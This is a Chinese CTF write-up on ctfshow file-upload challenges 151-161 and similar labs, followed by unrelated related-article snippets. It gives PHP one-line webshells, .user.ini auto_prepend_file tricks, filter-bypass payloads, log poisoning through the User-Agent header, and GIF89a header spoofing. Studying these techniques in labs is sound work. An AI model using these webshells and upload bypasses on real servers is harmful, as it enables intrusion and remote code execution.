当前位置: 首页 > news >正文

ctfshow-文件上传-151-161

CTFshow文件上传

PHP文件上传:1、代码思路

黑名单是设置不能通过的用户,黑名单以外的用户都能通过。

phtml、pht、php3、php4、php5后缀都会按做php文件执行,且不在黑名单内。

2、绕过

找漏网之鱼:cer、php3、php4、phtml等。

大小写绕过:AsP、PhP

双写绕过:.pphphp

上传文件后,在后缀加上123.php可以执行刚刚上传的文件

web151:首先上传一个文件,发现不行,要求是图片格式,我们可以直接查看源代码修改一下上传文件的格式就行,把png那一部分删除掉,并且把文件类型改为file

web153: 在BP那边进行发包,上传.user.ini 写入 auto_prepend_file=1.txt
上传1.txt 写入一句话木马{<?php eval($_POST[1]);?>} 打开url+/upload/
Post data: 1=system('tac ../flag.php');

web154:在BP那边进行发包,上传.user.ini 写入 auto_prepend_file=1.txt
上传1.txt 写入一句话木马{<?=eval($_POST[1]);?>} 打开url+/upload/
Post data: 1=system('tac ../flag.php'); 或者打开蚁剑进行连接寻找目录

web155:payload和上题一样

web156:写入一句话木马的时候报错,使用排除法发现是POST[1]这边会错误,所以把[]改为{}就可以了

web157:写入一句话木马的时候会报错。使用排除法发现是分号不可用,POST[1]也不可以用,所以我们使用<?=eval(array_pop($_POST))?>,这个函数来执行一句话木马

web158:payload与157一样

web159:过滤了括号,分号,中括号大括号;但是我们可以直接把1.txt的内容改为<?=`tac /var/www/html/flag.p??`?>,直接进行绕过,使用<?=`tac f*`?>不知道为什么不可以,但是WP那边可以

web160:刚开始和之前的步骤还是一模一样,先打开F12改一下源码,把文件类型改为文件

然后打开BP开始抓

修改文件内容。名字和类型还有内容都要修改,

文件类型改为:image/png.

文件内容改为:auto_prepend_file=1.txt

文件名字改为:.user.ini

上传后再上传一个1.txt文件,文件内容为

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

这样就可以查看日志文件了,然后在upload界面添加User-Agent头文件内容为一句话木马<php eval($_POST[1]);>,然后用蚁剑连接一下这个服务器,找到flag.php就可以找到flag了

web161:发现怎么传都显示错误,后面发现是文件头那边需要改为GIF89a才可以绕过,伪造图片文件头 GIF89a,

其余部分与上方一致

攻防世界:easyupload

这道题目试了很久很久,我直接上传文件也传不了,有时候提示说你的文件很危险,我们提交一下GIF89a,然后就可以消除这个,还有一个说文件类很危险,我排除出来是<?php eval($_POST[1])?>有问题,所以我们就应该把一句话木马改一下

拓展:

auto_prepend_file的用法:

auto_prepend_file可以让所有的php文件自动的包含某个文件。什么意思?

例如在.user.ini文件中写入

auto_prepend_file=a.jpg

然后在a.jpg中写入一个一句话代码

<?=eval($_REQUEST['cmd']);?>

那么和.user.ini和a.jpg同一目录下的所有php文件都会包含a.jpg文件。

将写好的.user.ini文件上传,修改content-type为图片格式

和上面的题目没什么区别,只是一句话木马那边有区别。

最后蚁剑拿下,这边一定要找到上传点在哪里,然后再去用蚁剑链接,要不然是不行的

phar伪协议读取文件上传

这道题目只能上传压缩包和图片格式

我们把php文件压缩成zip格式

发现上传成功,这时候我们需要将bingdundun用phar伪协议读取里面的3.php文件,然后POST:1=phpinfo()看看有没有上传成功

之后通过蚁剑进行连接就可以了

相关文章:

ctfshow-文件上传-151-161

CTFshow文件上传 PHP文件上传&#xff1a;1、代码思路 黑名单是设置不能通过的用户&#xff0c;黑名单以外的用户都能通过。 phtml、pht、php3、php4、php5后缀都会按做php文件执行&#xff0c;且不在黑名单内。 2、绕过 找漏网之鱼:cer、php3、php4、phtml等。 大小写绕…...

【Windows】Microsoft Office 的 .docx .xlsx .pptx 等文件图标消失,变成空白图标

问题描述 在重新安装 Microsoft Office 后&#xff0c;发现 .docx、.xlsx、.pptx 等文件的图标消失&#xff0c;变成一个空白的图标。 原因分析 可能是由于Office组件的快捷方式和图标的注册表损坏所导致的。注册表是Windows操作系统中用来存储系统和应用程序配置信息的一个重…...

场景化运营与定制开发链动 2+1 模式 S2B2C 商城小程序的融合

摘要&#xff1a;本文深入探讨了场景化运营的重要性以及其在商业领域的广泛应用。通过分析电梯广告、视频网站和电商产品的场景化运营方式&#xff0c;引入关键词“定制开发链动 21 模式 S2B2C 商城小程序”&#xff0c;阐述了如何将场景化运营理念融入到该小程序的开发与推广中…...

Axure中继器实现时间读取和修改

亲爱的小伙伴&#xff0c;在您浏览之前&#xff0c;烦请关注一下&#xff0c;在此深表感谢&#xff01; 课程主题&#xff1a;中继器实现时间读取和修改 主要内容&#xff1a;中继器内不同时间格式的向外读取&#xff0c;和向内赋值&#xff0c;实现中继器时间的修改 应用场…...

数据库聚合函数

数据库聚合函数 聚合函数 sum ,avg,max,min,count 1总分 SELECT SUM(student_result) FROM result; SELECT student_no,SUM(studet_result) FROM result WHERE student_no62平均分 avg SELECT AVG(studet_result) FROM result;3最大值 max 最小值 min SELECT MAX(studet_r…...

DevOps的文化观与工具

一、DevOps的文化 DevOps的核心文化是推动开发&#xff08;Development&#xff09;和运维或需求&#xff08;Operations&#xff09;团队之间的协作与沟通&#xff0c;以实现更快速、更可靠的软件交付。以下是DevOps核心文化的几个关键方面&#xff1a; 协作与沟通&#xff1…...

create-vite my-vite-uniapp-project

搭建一个使用 Vue 3、TypeScript、Vite、uni-app、uView UI库和Element Plus的项目&#xff0c;你可以遵循以下步骤&#xff1a; 安装 Node.js 和 npm。 使用以下命令全局安装 Vue CLI&#xff1a; npm install -g vue/cli创建一个新的 Vue 3项目&#xff0c;并选择 TypeScr…...

DC系列靶机-DC8

一&#xff0c;环境的搭建 VM17 官网下载 kali 2023.4版 https://mirrors.tuna.tsinghua.edu.cn/kali-images/kali-2023.4/ 靶场文件 https://download.vulnhub.com/dc/DC-8.zip 二&#xff0c;攻略 首先nmap一通扫&#xff1b; 扫描主机IP和端口&#xff1b; 靶机的地址…...

重构复杂简单变量之用对象替换数据值

对象替换数据值用于将简单的数据值替换为具有行为和逻辑的对象。这种优化的目的在于提高代码的可读性、灵活性和可维护性&#xff0c;尤其是在数据开始承载更多含义或行为的时候。 一、什么时候使用 当我们在代码中使用简单的数据值&#xff08;如字符串、整数&#xff09;表…...

我国首个自主可控的操作系统——华为原生鸿蒙操作系统正式发布

我国首个自主可控的操作系统——华为原生鸿蒙操作系统正式发布 在科技日新月异的今天&#xff0c;操作系统作为数字世界的基石&#xff0c;其重要性不言而喻。近日&#xff0c;华为公司在深圳隆重举行了原生鸿蒙操作系统发布会&#xff0c;向全球宣告了我国首个自主可控的移动…...

Spring Boot技术栈在论坛网站开发中的应用

2相关技术 2.1 MYSQL数据库 MySQL是一个真正的多用户、多线程SQL数据库服务器。 是基于SQL的客户/服务器模式的关系数据库管理系统&#xff0c;它的有点有有功能强大、使用简单、管理方便、安全可靠性高、运行速度快、多线程、跨平台性、完全网络化、稳定性等&#xff0c;非常…...

Fast-LLM:加速大型语言模型训练的开源库

在人工智能领域&#xff0c;大型语言模型&#xff08;LLM&#xff09;的训练是一个计算密集型的任务&#xff0c;需要高效的工具来加速这一过程。Fast-LLM就是这样一个开源库&#xff0c;它旨在帮助研究人员和开发者快速、灵活地训练大型语言模型。 Fast-LLM简介 Fast-LLM是一…...

物理安全(Physical Security)

物理安全&#xff08;Physical Security&#xff09;是指为保护人员、建筑、设备以及其他物理资产免受物理威胁&#xff08;如盗窃、破坏、间谍活动、自然灾害等&#xff09;的一系列措施和技术。物理安全通常涉及三个主要方面&#xff1a;预防、检测和响应。以下是一些关键的物…...

Go语言开发环境搭建

#1024程序员节&#xff5c;征文# 文档说明 本文作者:SwBack 创作时间:2022‎年‎6‎月‎8‎日 ‏‎18:46:21 知乎:https://www.zhihu.com/people/back-88-87 CSDN:https://blog.csdn.net/qq_30817059 百度搜索: SwBack系统: Windows 11 go 1.18.2 安装包下载 安装包下载链接…...

嵌入式硬件设计:技术与实践

嵌入式系统是现代技术世界中的重要组成部分,几乎遍布所有领域,从消费电子产品、医疗设备到工业自动化和智能交通系统。嵌入式硬件设计是这一领域的核心,它涉及到对处理器、存储器、接口、传感器等多种硬件元件的选择、集成与优化,使系统能够在特定环境下执行特定任务。本文…...

vue中使用echarts,导入JSON数据画图

1、将.json文件放置在与index.html同一目录下 2、编写vue界面&#xff0c;在script中加载json文件 3、在script中加载处理json数据 4、用处理后的数据画图 vue界面代码如下&#xff1a; <script> import * as echarts from "echarts" //引入echarts核心模…...

【C++篇】探索STL之美:熟悉使用String类

CSDN 文章目录 前言 &#x1f4ac; 欢迎讨论&#xff1a;如果你在学习过程中有任何问题或想法&#xff0c;欢迎在评论区留言&#xff0c;我们一起交流学习。你的支持是我继续创作的动力&#xff01; &#x1f44d; 点赞、收藏与分享&#xff1a;觉得这篇文章对你有帮助吗&…...

ETLCloud搭配MySQL | 让关系型数据库更智能

在现代数据处理领域&#xff0c;ETL技术和云服务正迅速成为数据管理的核心。本文将探讨如何将 ETLCloud 与 MySQL 配合使用&#xff0c;将不同来源的表转移到另一张表中&#xff0c;以最大限度地提升关系型数据库的价值和性能。 一、前期准备 环境 首先确保MySQL源数据库能够…...

Java 开发——(上篇)从零开始搭建后端基础项目 Spring Boot 3 + MybatisPlus

一、概述 记录时间 [2024-10-23] 本文是一个基于 Spring Boot 3 MybatisPlus 的项目实战开发&#xff0c;主要涵盖以下几个方面&#xff1a; 从零开始的项目创建IDEA 中开发环境的热部署Maven、Swagger3、MybatisPlus 等的配置路由映射知识静态资源访问文件上传功能实现拦截器…...

Psychophysiology:脑-心交互如何影响个体的情绪体验?

摘要 情绪的主观体验与对身体(例如心脏)活动变化的情境感知和评估相关。情绪唤醒增加与高频心率变异性(HF-HRV)降低、EEG顶枕区α功率降低以及心跳诱发电位(HEP)振幅较高有关。本研究使用沉浸式虚拟现实(VR)技术来研究与情绪唤醒相关的脑心相互作用&#xff0c;以实现自然而可…...

基于算法竞赛的c++编程(28)结构体的进阶应用

结构体的嵌套与复杂数据组织 在C中&#xff0c;结构体可以嵌套使用&#xff0c;形成更复杂的数据结构。例如&#xff0c;可以通过嵌套结构体描述多层级数据关系&#xff1a; struct Address {string city;string street;int zipCode; };struct Employee {string name;int id;…...

使用分级同态加密防御梯度泄漏

抽象 联邦学习 &#xff08;FL&#xff09; 支持跨分布式客户端进行协作模型训练&#xff0c;而无需共享原始数据&#xff0c;这使其成为在互联和自动驾驶汽车 &#xff08;CAV&#xff09; 等领域保护隐私的机器学习的一种很有前途的方法。然而&#xff0c;最近的研究表明&…...

Nuxt.js 中的路由配置详解

Nuxt.js 通过其内置的路由系统简化了应用的路由配置&#xff0c;使得开发者可以轻松地管理页面导航和 URL 结构。路由配置主要涉及页面组件的组织、动态路由的设置以及路由元信息的配置。 自动路由生成 Nuxt.js 会根据 pages 目录下的文件结构自动生成路由配置。每个文件都会对…...

Neo4j 集群管理:原理、技术与最佳实践深度解析

Neo4j 的集群技术是其企业级高可用性、可扩展性和容错能力的核心。通过深入分析官方文档,本文将系统阐述其集群管理的核心原理、关键技术、实用技巧和行业最佳实践。 Neo4j 的 Causal Clustering 架构提供了一个强大而灵活的基石,用于构建高可用、可扩展且一致的图数据库服务…...

视觉slam十四讲实践部分记录——ch2、ch3

ch2 一、使用g++编译.cpp为可执行文件并运行(P30) g++ helloSLAM.cpp ./a.out运行 二、使用cmake编译 mkdir build cd build cmake .. makeCMakeCache.txt 文件仍然指向旧的目录。这表明在源代码目录中可能还存在旧的 CMakeCache.txt 文件,或者在构建过程中仍然引用了旧的路…...

【VLNs篇】07:NavRL—在动态环境中学习安全飞行

项目内容论文标题NavRL: 在动态环境中学习安全飞行 (NavRL: Learning Safe Flight in Dynamic Environments)核心问题解决无人机在包含静态和动态障碍物的复杂环境中进行安全、高效自主导航的挑战&#xff0c;克服传统方法和现有强化学习方法的局限性。核心算法基于近端策略优化…...

Python Ovito统计金刚石结构数量

大家好,我是小马老师。 本文介绍python ovito方法统计金刚石结构的方法。 Ovito Identify diamond structure命令可以识别和统计金刚石结构,但是无法直接输出结构的变化情况。 本文使用python调用ovito包的方法,可以持续统计各步的金刚石结构,具体代码如下: from ovito…...

JS手写代码篇----使用Promise封装AJAX请求

15、使用Promise封装AJAX请求 promise就有reject和resolve了&#xff0c;就不必写成功和失败的回调函数了 const BASEURL ./手写ajax/test.jsonfunction promiseAjax() {return new Promise((resolve, reject) > {const xhr new XMLHttpRequest();xhr.open("get&quo…...

接口自动化测试:HttpRunner基础

相关文档 HttpRunner V3.x中文文档 HttpRunner 用户指南 使用HttpRunner 3.x实现接口自动化测试 HttpRunner介绍 HttpRunner 是一个开源的 API 测试工具&#xff0c;支持 HTTP(S)/HTTP2/WebSocket/RPC 等网络协议&#xff0c;涵盖接口测试、性能测试、数字体验监测等测试类型…...

计算机基础知识解析:从应用到架构的全面拆解

目录 前言 1、 计算机的应用领域&#xff1a;无处不在的数字助手 2、 计算机的进化史&#xff1a;从算盘到量子计算 3、计算机的分类&#xff1a;不止 “台式机和笔记本” 4、计算机的组件&#xff1a;硬件与软件的协同 4.1 硬件&#xff1a;五大核心部件 4.2 软件&#…...